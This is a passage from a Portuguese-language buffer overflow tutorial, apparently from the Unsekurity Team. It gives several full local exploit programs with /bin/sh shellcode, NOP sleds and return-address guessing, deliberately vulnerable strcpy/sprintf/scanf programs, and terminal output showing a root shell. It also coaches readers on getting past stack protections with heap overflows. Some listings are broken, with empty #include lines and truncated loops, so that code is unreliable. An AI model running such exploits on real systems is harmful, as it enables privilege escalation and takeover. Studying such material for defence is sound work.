ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb)

ou se preferir:

(gdb) info register eip
eip            0x41414141       0x41414141
(gdb) info register esp
esp            0xbffff838       0xbffff838
(gdb)

Como voce pode ver, ele mostra todos os registradores, mas no momento,
devemos nos concentrar somente em dois.O registar eip(index pointer)
que eh aonde se localiza nossos 'A's, e o registrador esp(Stack pointer)
No caso acima teremos:

(gdb) info register eip
eip            0x41414141       0x41414141

para eip (Index pointer).

(gdb) info register esp
esp            0xbffff838       0xbffff838

para esp (Stack pointer).

Bem amigo, para que tudo isso? Iremos inicialmente criar um exploit em
cima desse esp.Eu digo desse, porque ele varia, e como estamos executando
gdb, partimos do pre-suposto que vamos fazer um exploit p/ maquina local,
onde poderemos compilar nosso exploit.P/ maquinas remotas o esquema eh
diferente, pois nao teriamos permissao para usar gdb, e outra coisa, mais
embaixo veremos um metodo mais eficiente do que este, mas por enquanto,
vamos nos concentrar neste.

Bem, apos pegarmos esse endereco de esp, iremos agora montar a nosso
primeiro exploit para nosso primeiro programa bugado, o do comeco desse
txt(bug1).

--------------------------- expl1.c ----------------------------------
/* Primeiro exploit para Programa bugado 1(bug1)
   Compile com: $ gcc -o expl1 expl1.c */

#include
#include
#include

/* Aqui nos definimos a instrucao NOP (explicada no final da parte
   sobre shellcodes) como sendo seu codigo em hexadecimal */

#define NOP     0x90

/* Sabemos (Sem necessitar ver o codigo-fonte) que o programa bugado
   eh detonado quando usamos mais de 512 bytes(como vimos usando perl
   ou mesmo o programa que coloquei no inicio). Entao usaremos nesse
   exemplo um buffer um pouco maior, recomenda-se nessa faixa(100 a +)
   para inserir nossos dados */

#define TAMANHO     612

/* Aqui eh o endereco de esp ou Stack pointer, que acabamos de pegar
   usando gdb acima */

#define RET     0xbffff808

/* Abaixo segue o nosso shellcode */

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec"
  "\x5d\xc3";

int main(int argc, char *argv[])
{
char buffer[TAMANHO];
long ret = RET;
int i, offset = 0;
long retaddr;

if(argc > 1) offset = atoi(argv[1]);

retaddr = ret + offset;

/* Enchemos retaddr com endereco de buffer */

for (i=0;i
#include

unsigned long pega_sp(void){
__asm__("movl %esp,%eax");
}

void main(){
printf("Eis o que estamos procurando:  0x%x \n",pega_sp());
}

-----------------------------------------------------------------

Compilando ele e executando normalmente, teremos:

[localhost:/]$ gcc -o pega_sp pega_sp.c
[localhost:/]$ ./pega_sp
Eis o que estamos procurando:  0xbffffa28
[localhost:/]$

Como podemos perfeitamente ver, existe uma diferenca entre o SP achado via gdb e
o SP achado via esse  programa.Essa diferenca pode perfeitamente ser  compensada
no acrescimento ou decrescimo  de offsets na linha  de comando em busca  do real
endereco  de retorno.Como  o SP  eh variavel(muda  de maquina  para maquina,  de
programa p/ programa), este  codigo eh bastante util  aonde nao se tem  acesso a
captura do  SP facilmente,  como por  exemplo, em  exploits remotos  ou em redes
aonde nao podemos compilar um programa.

Inserindo esse codigo no nosso exploit, teremos entao um novo esquema com
a retirada do SP definido(o que pegamos via gdb).Vejamos como fica:

------------------------------ expl2.c ----------------------------------
/* Segundo Exemplo de exploit para sobrescrever primeiro programa
   bugado do tutorial sobre overflows.
   Se utitiliza do metodo de pegar o SP(Stack Pointer) via codigo
   inserido no proprio exploit abaixo.
   Desenvolvido por Nash Leon.
*/

#include
#include
#include

/* Definimos o NOP(0x90) e o Tamanho do buffer(+ ou - 100 bytes maior
   que o que nos queremos sobrescrever */

#define NOP        0x90
#define TAMANHO     612

/* Aqui entra nosso artificio para tentarmos pegar a posicao de SP */

unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}

/* Nosso shellcode padrao */

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec"
  "\x5d\xc3";

int main(int argc, char *argv[])
{
char buffer[TAMANHO];
int i, offset = 0;
long retaddr;

if(argc > 1) offset = atoi(argv[1]);

/* Para pegarmos o real return address(endereco de retorno) manipulando
   nosso esquema para pegar SP com diminuicao de offsets.Voce poderia
   colocar para somar, mas nesse caso, com esse esquema, eh melhor
   colocarmos com diminuicao,para nao chutarmos offsets negativos */

retaddr = pega_sp() - offset;

/* Colocamos buffer no endereco de retorno */

for (i=0;i
#include
#include

/* Boa e velha instrucao NOP em linux */

#define NOP     0x90

/* Para pegarmos o Stack Pointer */

unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}

/* Testaremos dessa ver com esse shellcode, mas voce pode perfeitamente
   usar o anterior ou qualquer um que tiver ou desejar */

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{
char *buffer;
long retaddr;
int i ,tamanho = 0, offset = 0;

if(argc < 2){
printf("Exploit Exemplo 3 do tutorial sobre overflows!!\n");
printf("http://unsekurity.virtualave.net/\n");
printf("Uso: %s  \n",argv[0]);
printf("Obs:Digite o tamanho do buffer!!\n\n");
exit(0);
}
if (argc > 1) {
tamanho = atoi(argv[1]);
}
if (argc > 2) {
offset = atoi(argv[2]);
}

if(!(buffer = malloc(tamanho))){
fprintf(stderr,"Nao pode alocar mamoria!!\n");
exit(1);
}

retaddr = pega_sp() - offset;

/* Colocamos buffer no endereco de retorno */

for (i=0;i
Obs:Digite o tamanho do buffer!!

[localhost:/]$ ./e3 200
Voce digitou 1UØ@I
èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú
ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!

[localhost:/]$ ./e3 400
Voce digitou 1UØ@I
èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú
ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ
ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!

[localhost:/]$ ./e3 500
Voce digitou 1UØ@I
èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú
ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ
ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú
úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ
úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿ú
úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿ÿ¿!!

[localhost:/]$ ./e3 600
Voce digitou 1UØ@I
èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú
ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ
ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú
úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ
úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿ú
úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿ÿ¿!!
bash#id
uid=1000 gid=100(users) groups=100(users) euid=0(root) egid=0(root)
bash# exit
exit

:)..Como  podemos  ver foi  facil,  chutamos poucos,  de  100 em  100,  para nao
escrever mais linhas...esse texto jah estah grande demais, mas de qualquer forma
vai  um  conselho.Quando receber  aquela  velha mensagem  que  disse no  inicio,
"Segmentation fault" , saiba que voce jah estourou o buffer.Entao tente diminuir
o tamanho do buffer ateh que voce  nao receba mais essa mensagem aih voce  terah
ideia mais ou menos  de onde de fato  ocorre o overflow.De posse  dessa ideia eh
soh mandar brasa.

Veremos agora mais um  exploit para nosso programa  bugado, soh que usaremos  um
artificio que optimizarah  nosso exploit, fazendo  com que diminua  ainda mais o
nosso trabalho.Iremos manipular mais dados para que o endereco de retorno aponte
mais precisamente para aonde nos queremos.Vejamos:

------------------------------expl4.c------------------------------
/* QUARTO EXEMPLO DE EXPLOIT PARA PRIMEIRO PROGRAMA BUGADO.
   SE UTILIZADA DE ALINHAMENTO EM BUSCA DE MELHORAR O
   APONTAMENTO DO ENDERECO DE RETORNO PARA NOSSO CODIGO */

#include
#include
#include

#define NOP     0x90

/* Aqui nos definimos o alinhamento, jah para voce ir se
  acostumando..:).. */

#define ALIGN      0

/* Pegamos o Stack Pointer */

unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{
char *buffer;
long retaddr;
int i ,tamanho = 0, offset = 0;

if(argc < 2){
printf("Exploit Exemplo 4 do tutorial sobre overflows!!\n");
printf("http://unsekurity.virtualave.net/\n");
printf("Uso: %s  \n",argv[0]);
printf("Obs:Digite o tamanho do buffer!!\n\n");
exit(0);
}
if (argc > 1) {
tamanho = atoi(argv[1]);
}
if (argc > 2) {
offset = atoi(argv[2]);
}

if(!(buffer = malloc(tamanho))){
fprintf(stderr,"Nao pode alocar mamoria!!\n");
exit(1);
}

retaddr = pega_sp() - offset;

/* Colocamos buffer no endereco de retorno usando o artificio
   de deslocamento de bits para a direita, no intuito de agilizar
   ainda mais nosso processo.Para voce entender bem o que significa
   isso aih, vejamos:
   n = 2; onde 2 em binario eh 10;
   n << 4; agora n terah representacao binaria igual a 100000
                                                    10 + 4 zeros.
   E a operacao logica & equivale a && soh que eh usada em operacoes
   logica bit-a-bit.
  */

for (i=0;i>8;
                buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16;
                buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24;
        }

/* Enchemos uma parte do buffer com NOP's */

for (i=0;i<(tamanho-strlen(shellcode)-100);i++)
   *(buffer+i) = NOP;

/* Copiamos shellcode sobre buffer */

memcpy(buffer+i,shellcode,strlen(shellcode));

/* Finalmente executamos o programa */

execl("./bug1","bug1",buffer,0);
}
-----------------------------------------------------------------

Compilamos ele e em seguida testamos.

[localhost:/]$ gcc -o expl4 expl4.c
[localhost:/]$ ./expl4
Exploit Exemplo 4 do tutorial sobre overflows!!
http://unsekurity.virtualave.net/
Uso: ./e5
Obs:Digite o tamanho do buffer!!

[localhost:/]$ ./expl 520
Voce digitou....
¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú
¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú
/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú
bash#exit
exit

YES!!!!!!:) Como podemos ver, esse esquema eh muito eficiente quando temos nocao
de  onde ocorre  o overflow,  ele explora  mesmo muitos  chutes de  buffers sem
precisar de offsets, voce pode testar com varios, vah testando chutando de 10 em
10, de 517 ateh lah por 600, 610.Voce pode ateh mesmo chutar bem mais o  tamanho
do buffer, mas aih  poderah ter que chutar  offsets, e quanto mais  longe disso,
melhor!!!

Aos poucos estamos conseguindo solucionar varios problemas e aperfeicoando ainda
mais  a  escrita  de  nossos  exploits.Mas  podem  surgir  ainda  mais  e   mais
problemas,nao se  desanime, se  aprendeu tudo  aih em  cima o  que segue  eh soh
completo, voce estarah se munindo cada  vez mais, e breve estarah capacitado  p/
enfrentar  muitas situcoes  que podem  dificultar nossos  buffers overflows.Nos
exemplos citados  acima, os  buffers(bloco de  memoria), onde  eram guardadas as
variaveis no programa bugado possuiam o tamanho de 512 bytes.Isto eh considerado
grande.Logico, dependendo da  ocasiao, tem programas  com bem mais  do que isso,
mas  eu me  refiro que  num buffer  deste tamanho,  nos nao  temos problemas  em
inserir nosso codigo, mas e se o buffer for menor, se for bem pequeno?

Veremos agora um exemplo  de um pequeno buffer.Existem  casos em que os  buffers
sao tao pequenos  que nosso shellcode  nao cabem neles,  entao a primeira  vista
parece um enorme empecilho,  sem duvida que eh,  mas ha uma solucao!No  mundo da
informatica, ainda mais nesse onde os fucadores trabalham, pesquisam e etc,  nao
existe a palavra impossivel, a teoria de hoje pode ser a pratica de amanha.

Para podermos sobrescrever  um buffer desse  tipo, devemos entao  colocar nossos
dados(shellcode,nops)  num  lugar  e  depois  fazer   com  que  o  endereco   de
retorno(return address)  aponte p/  esse lugar,  aonde estao  os nossos  dados.O
lugar  onde   podemos  colocar   nossos  dados   eh  conhecido   como  "variavel
environment"(ao redor, ambiente, por perto), o  pessoal que meche a um pouco  de
tempo em linux  sabe do que  estou falando.De qualquer  forma, quando ocorrer  o
overflow, nos  colocaremos o  endereco dessa  variavel sobre  o return  address,
fazendo com que nosso codigo seja executado.
As variaveis environment sao armazenadas no  topo do Stack quando o programa  eh
iniciado, qualquer modificacao  pela funcao setenv()  - que serve  para mudar ou
adicionar uma  variavel environment  - eh  entao alocada  lah(no topo do stack).
Apos a inicializacao o stack ficaria parecido mais ou menos com isso:

NULLNULL

Veremos entao um novo exemplo de programa bugado, soh que com um
pequeno buffer.Vejamos

------------------------------------------------------------------
/* SEGUNDO EXEMPLO DE PROGRAMA BUGADO.
   PROGRAMA BUGADO COM PEQUENO BUFFER */

#include
#include

#define TAMANHO      100

main(int argc, char *argv[])
{
char nick[TAMANHO];
char *digitado;
if(argc < 2){
printf("Programa bugado 2!!\n");
printf("Uso: %s \n",argv[0]);
exit(0);
}
digitado = argv[1];
strcpy(nick,digitado);
if(!strcmp(nick,"hacko")){
printf("Seja bem vindo mestre!!\n");
return 0;
}
else{
printf("Fora daqui!!Voce eh Newbie!!\n");
printf("Somente hackos tem acesso na hora certa!!\n");
return 0;
}
}
-----------------------------------------------------------------

Compile ele normalmente: gcc -o bug2 bug2.c

Como voce pode ver,  ele possui apenas 100  bytes de tamanho no  buffer, poderia
ateh possuir menos para nossos  propositos educacionais, e voce pode  se deparar
com buffers menores por aih, mas trabalharemos em cima desse com 100 bytes  para
facilitar mais, lembrando novamente o que eu disse em outros tutoriais:
"SABENDO FAZER UM, O QUE TE IMPEDE DE FAZER TODOS?"

Abaixo segue o exploit para esse tipo de programa bugado:

----------------------------- expl5.c -------------------------------
/* Exploit para Segundo Programa Bugado.
   Ele irah criar uma variavel environment para
   sobrescrever um buffer pequeno */

#include
#include
#include

/* Definimos o tamanho do buffer padrao, o tamanho do buffer
   aqui do nosso exploit nao precisa ser pequeno, o que eh
   aconselhavel eh definirmos o tamanho do buffer da variavel
   environment proximo ao do buffer bugado, por isso amigo,
   eh bom ter uma ideia, antes de exploitar um programa bugado,
   do tamanho do buffer que recebe dados, tente a velha forca
   bruta.Alinhamento, Offset e Nop, voce jah sabe. */

#define TAMANHO_BUFFER        500
#define NOP                  0x90
#define OFFSET_PADRAO           0
#define ALIGN                   0

/* Aqui entra a definicao do tamanho padrao do buffer onde ficarah
   nossa variavel environment, tente coincidir com o tamanho do buffer
   bugado, se nao for possivel, chute atraves da linha de comando. */

#define TAMANHO_VENV          100

unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{
char *buffer, *var_env;
long retaddr;
int i ,tamanho = TAMANHO_BUFFER, offset = OFFSET_PADRAO;
int tam_venv = TAMANHO_VENV ;

if (argc > 1) {
tamanho = atoi(argv[1]);
}
if (argc > 2) {
offset = atoi(argv[2]);
}
if(argc > 3){
tam_venv = atoi(argv[3]);
}

if(!(buffer = malloc(tamanho))){
fprintf(stderr,"Nao pode alocar mamoria!!\n");
exit(1);
}

/* Pegando o Endereco de Retorno */

retaddr = pega_sp() - offset;

/* Colocamos buffer no endereco de retorno */

for (i=0;i>8;
                buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16;
                buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24;
        }

/* Enchemos uma parte do buffer com NOP's
   Como pode notar, manipulamos nosso buffer em cima
   do tamanho da variavel environment, se ligue, se for
   chutar tamanhos, nao chute muito distantes um do outro
*/

for (i=0;i<(tam_venv-strlen(shellcode));i++)
   *(buffer+i) = NOP;

memcpy(buffer+i,shellcode,strlen(shellcode));

/* Setamos a Variavel Environment */

var_env[tam_venv -1] = '\0';

memcpy(var_env,"EGG=",4);
putenv(var_env);

/* Executamos o programa bugado */

execl("./bug2","bug2",buffer,0);

}
---------------------------------------------------------------

Compilamos ele normalmente e em seguida mandamos brasa:

[localhost:/]$ gcc -o expl5 expl5.c
[localhost:/]$ ./expl5 500 0 100
Fora daqui .....
úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿú
úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ
úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ!!Voce eh Newbie!!
Somente hackos tem acesso na hora certa!!
Segmentation fault
[localhost:/]$ ./expl5 400 0 200
Fora daqui .....
úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿú
úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ
úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ!!Voce eh Newbie!!
Somente hackos tem acesso na hora certa!!
bash# exit
exit

:)...Como pode ver, tudo eh possivel amigo.Voce pode tentar, chutando o  tamanho
do buffer  p/ nosso  exploit de  360 a  410, mais  ou menos,  sem necessitar  de
offsets.Jah  o  tamanho do  buffer  da variavel  Environmente,  fica proximo  ao
tamanho do  buffer do  programa bugado,  algo entre  90 e  104, tente chegar bem
proximo do  tamanho do  buffer bugado,  aih voce  terah que  manipular somente o
tamanho do buffer do exploit(argv[1]).

Bem amigos, creio que isso eh o suficiente para se exploitar funcoes que recebem
dados da linha de comando, como nos dois exemplos acima, onde a funcao  strcpy()
manipulava dados recebidos diretamente pela linha de comando.Sabemos que nao sao
somente estas  as funcoes  que nao  checam o  tamanho dos  dados recebidos e sua
relacao  com o  tamanho do  buffer para  as variaveis,  sao varias,  e mais  lah
embaixo voce verah  algumas explicadas brevemente,  mas para enfatizar  que voce
estah apto  a explorar  falhas nas  funcoes que  nao checam  o tamanho dos dados
recebidos pela linha  de comando, colocaremos  mais um programa  bugado, soh que
com outra funcao que nao checa, a funcao sprintf.

/* PROGRAMA BUGADO 3, SPRINTF() */

#include
#include
#include

#define    TAMANHO   512

main(int argc, char *argv[]){
char *hacko;
char buf_bugado[TAMANHO];

if(argc < 2){
printf("Programa bugado 3!!\n");
printf("Uso: %s string\n",argv[0]);
exit(0);
}
hacko = argv[1];
sprintf(buf_bugado,"%s",hacko);
printf("Seja bem vindo %s!\n",buf_bugado);
return 0;
}

Voce pode  usar o  mesmo exploit  otimizado usado  para sobrescrever  o primeiro
programa  bugado,o exploit  de numero  4 para  esse programa  acima e  conseguir
exploita-lo.Aqui  no  meu  caso,  chutei  o tamanho  do  buffer  de  520  a 620,
conseguindo  exploitar  tranquilamente.Eh dificil  hj  em dia  se  achar codigos
contendo este  tipo de  bug(funcao sprintf()  usada deste  modo), voce  pode ver
claramente que o uso dela nao eh util, pois eh mais facil achar strcpy() fazendo
o que sprintf() fez acima.Mas eh bem capaz de voce achar num programa  sprintf()
sendo usado da seguinte forma:

sprintf(buf_bugado,"Seja bem vindo %s!\n",hacko);
printf(buf_bugado);

Aih  a  coisa  complica  um  pouco.Nao  vou  avancar  muito,  pois  pretendo, se
necessario, escrever uma continuacao para  este tutorial, mas antes deve  vir um
material sobre IPC(InterProcess Comunication), que um dos membros do  Unsekurity
Team estah processando..:).  Com IPC fica  mais facil interagir  com funcoes que
nao  recebem  dados  da linha  de  comando,  e consequentemente  exploita-las.Eh
possivel que ainda nao exista material divulgado sobre este tipo de  exploitacao
em linux,mas  que ela  eh possivel,  isso eh  fato!!!Voce pode  ver abaixo  este
programa bugado:

/* QUARTO PROGRAMA BUGADO PARA TUTORIAL SOBRE OVERFLOWS
   PROGRAMA BUGADO COM A FUNCAO SCANF().
*/

#include
#include

main(){
char nome[12];
printf("Digite seu nome:");
scanf("%s",&nome);
printf("Seja bem vindo %s!\n",nome);
}

Voce  pode  ver  claramente  que   a  funcao  scanf()  acima  nao   checa  dados
recebidos.Mas neste exemplo nao empurraremos  dados pela linha de comando,  isso
eh um pequeno problema que o pessoal que manja de IPC jah sabe resolver, mas  um
grande problema.Soh encontrei um documento que falasse algo sobre exploitacao de
um buffer via IPC na internet, mesmo assim, nada claro.Lembrando que quando falo
exploitacao via IPC, nao tou me referindo a buffer remotos nao, via socket,  tou
me referindo ao programa acima.Talvez exista ateh um metodo melhor que  isto,nao
sei.Teste para ver se esse programa eh bugado, usando o gdb, como no esquema lah
do comeco. Assim que sair o tutorial sobre IPC, a gente avanca mais nesse ponto.
Quanto ao codigo  de sprintf() acima,  nao faz-se necessario  IPC para exploitar
ele, soh necessita de uma manha para  que o endereco de retorno caia numa  parte
do buffer que execute nossa shell.Vou  deixar para depois tambem, isso aqui  jah
tah grande mais, e tah meio avancado demais.Fica aih os conceitos, espero quando
publicar a  continuacao deste  txt voce  nao precisar  mais dos  dados que  nele
estarao referentes a Stack Overflows,  pois espero que esteja jah  dominando boa
parte dessa tecnica.

Encerramos por aqui, essa fase inicial sobre Stack Overflows, veremos agora algo
parecido  com  Stack Overflows,  mas  que eh  muito  util hoje  em  dia, o  Heap
Overflow.

-------------------------
6 - O HEAP - A NOVA ERA? |
-------------------------

Como podemos ver acima,estah mais do  que provado que a regiao denominada  Stack
pode ser usada atraves de estouro de buffer para execucao de codigos arbitrarios
ou mais conhecidos como shellcodes (codigos de shell).Quando a pratica de  Stack
Overflows foi  sendo cada  vez mais  difundida, o  time da  seguranca tratou  de
tentar  contra-atacar.  Pensaram  e  estudaram  ateh  encontrar  uma  "forma" de
dificultar  a  execucao  de  codigo  arbitrario  via  Stack  Overflow.Criaram um
programa capaz  de manter  vigilancia no  Stack e  impedir a  execucao de codigo
arbitrario,  sao  os   chamados  Stack  Guards.Nao   sao  tao  eficientes,   mas
determinados tipos de vulnerabilidades nao podem ser mais exploitadas via  Stack
Overflows.No momento tambem sao poucos os  programas deste tipo, e eu mesmo  soh
possuo o conhecimento de dois, o Stack Guard p/ estacoes sun/solaris, e um recem
criado,  conhecido  como  Stack  Shield,  sendo  este  ultimo  para  plataformas
linux.Devem existir bem mais por aih, e se de alguma forma isto se  concretizar,
logo logo estarao acoplados as distribuicoes de sistemas operacionais.Mas,  como
vimos no inicio, existem outras regioes  de memoria, e dentre estas, uma  possui
uma  particularidade  interessante,  eh   a  regiao  BSS.  Podemos   visualizada
virtualmente no desenho do item 1.3 deste arquivo texto.Ateh o presente momento,
nao foi divulgada ainda uma possivel protecao a essa regiao da memoria contra os
buffers overflows,nesse caso  conhecido como heap  overflows ou heap  baseado em
bss overflows. Heap overflows, ao  contrario dos Stack overflows, nao  sao muito
conhecidos, sao  pouquissimos os  textos que  ensinam algo  sobre isso,  mas nao
desanime amigo, porque entendo bem os overflows  em Stack e um pouco mais de  C,
voce  poderah  perfeitamente  entender  e  consequentemente  praticar  isto aqui
tambem.Entao amigo, quando  voce se deparar  com um sistema  que possui protecao
contra "Stack Overflows", nao pense duas vezes, tente "heap Overflows",  porque,
como vimos no desenho do cap 1.3, heap  pode ser usado p/ exploitar o stack e  a
bss,  e  ateh mesmo  passar  por cima  de  uma dessas  protecoes  de Stack  aih,
lembrando que, o autor desse txt nao  faz parte do time de seguranca, vai  ver a
situacao ainda eh pior do que a descrita aqui, por mim!!:)

6.1 - Alocacao Dinamica em C
-----------------------------

Irei aqui dar uma breve explicacao de como eh feita a alocacao dinamica de dados
em C.Lembrando que  nao eh intuito  deste tutorial ensinar  C ou qualquer  outra
linguagem, fique atento a atual home  page do grupo Unsekurity Team, sempre  tem
algo relacionado a programacao  por lah. A alocacao  dinamica em C tem  diversas
utilidades,  uma delas  eh a  criacao de  listas de  informacoes de  comprimento
veriavel, muito  utilizadas em  aplicacoes de  banco de  dados, eis  aih um  dos
motivos de  se preferir  um BD  feito a  mao, do  que lixos  como oracle,mysql e
etc..Mas isso fica  para outra oportunidade,  no momento, tenhamos  em mente que
para manipularmos  dados na  regiao BSS,  onde usaremos  nossos Heap  Overflows,
necessitamos saber este conceito de  Alocacao Dinamica.Isso pode servir para  um
futuro breve, mano!! O sistema de alocacao dinamica do C, contem muitas funcoes,
mas as mais importantes e mais usadas sao malloc() e free(), tambem se usa muito
calloc().A  alocacao  dinanica  permite  ao  programador   alocar  memoria  para
variaveis quando o programa estah  sendo executado. Isso poderah ser  muito util
em aplicacoes IPC visando escrita em buffers que nao recebem dados pela linha de
comando.Mas aguarde!! Um simples exemplo de alocacao dinamica segue abaixo:

#include
#include

#define   A     0x41

main (void) {

static char  *buffer, string[300];
int tamanho,i;

tam = 200;
if((buffer=(char *)malloc(tam)) == NULL){
      fprintf (stderr,"Erro: Nao pode alocar memoria!!\n");
      exit(1);
 }

for (i=0; i
#include

#define   A     0x41

main (int argc, char *argv[]) {

static char  *buffer, *string;
int tamanho,i;

if(argc < 2){
printf("Primeiro Programa bugado para Heap Overflow!\n");
printf("Uso: %s \n",argv[0]);
exit(0);
}

tamanho = atoi(argv[1]);
if((buffer=(char *)malloc(tamanho)) == NULL){
      fprintf (stderr,"Erro: Nao pode alocar memoria!!\n");
      exit(1);
 }
if((string=(char *)malloc(tamanho - 50)) == NULL){
      fprintf (stderr,"Erro: Nao pode alocar memoria!!\n");
      exit(1);
 }
for (i=0; i
   #include
   #include
   #include
   #include

/* Define tamanho do buffer que serah usado para sobrescrever */

